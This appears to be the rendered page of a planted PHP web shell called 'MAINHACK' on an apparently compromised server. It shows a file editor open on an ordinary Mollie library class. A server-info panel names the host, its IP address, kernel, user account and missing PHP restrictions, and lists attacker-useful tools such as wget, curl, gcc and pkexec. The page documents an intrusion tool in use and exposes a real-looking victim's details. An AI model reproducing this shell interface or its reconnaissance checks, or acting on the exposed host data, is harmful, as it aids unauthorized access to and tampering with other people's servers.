[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: LazyCollection.php
<?php namespace Mollie\Api\Resources; use Iterator; use IteratorAggregate; /** * @template TKey of array-key * @template TValue * * @implements IteratorAggregate<TKey, TValue> */ class LazyCollection implements IteratorAggregate { /** * @var callable */ private $source; /** * @param callable $source */ public function __construct($source) { $this->source = $source; } /** * Get all items in the collection. * * @return array */ public function all(): array { return iterator_to_array($this->getIterator()); } /** * Get an item from the collection by key. * * @param TKey $key * @return TValue|null */ public function get($key) { foreach ($this as $outerKey => $outerValue) { if ($outerKey == $key) { return $outerValue; } } return null; } /** * Run a filter over each of the items. * * @param (callable(TValue, TKey): bool) $callback * @return self */ public function filter(callable $callback): self { return new self(function () use ($callback) { foreach ($this as $key => $value) { if ($callback($value, $key)) { yield $key => $value; } } }); } /** * Get the first item from the collection passing the given truth test. * * @param (callable(TValue, TKey): bool)|null $callback * @return TValue|null */ public function first(callable $callback = null) { $iterator = $this->getIterator(); if (is_null($callback)) { if (! $iterator->valid()) { return null; } return $iterator->current(); } foreach ($iterator as $key => $value) { if ($callback($value, $key)) { return $value; } } return null; } /** * Run a map over each of the items. * * @template TMapValue * * @param callable(TValue, TKey): TMapValue $callback * @return static<TKey, TMapValue> */ public function map(callable $callback): self { return new self(function () use ($callback) { foreach ($this as $key => $value) { yield $key => $callback($value, $key); } }); } /** * Take the first {$limit} items. * * @param int $limit * @return static */ public function take(int $limit): self { return new self(function () use ($limit) { $iterator = $this->getIterator(); while ($limit--) { if (! $iterator->valid()) { break; } yield $iterator->key() => $iterator->current(); if ($limit) { $iterator->next(); } } }); } /** * Determine if all items pass the given truth test. * * @param (callable(TValue, TKey): bool) $callback * @return bool */ public function every(callable $callback): bool { $iterator = $this->getIterator(); foreach ($iterator as $key => $value) { if (! $callback($value, $key)) { return false; } } return true; } /** * Count the number of items in the collection. * * @return int */ public function count(): int { return iterator_count($this->getIterator()); } /** * Get an iterator for the items. * * @return Iterator<TKey, TValue> */ public function getIterator(): Iterator { return $this->makeIterator($this->source); } /** * Get an iterator for the given value. * * @template TIteratorKey of array-key * @template TIteratorValue * * @param IteratorAggregate<TIteratorValue>|(callable(): \Generator<TIteratorKey, TIteratorValue>) $source * @return Iterator<TIteratorValue> */ protected function makeIterator($source): Iterator { if ($source instanceof IteratorAggregate) { return $source->getIterator(); } return $source(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002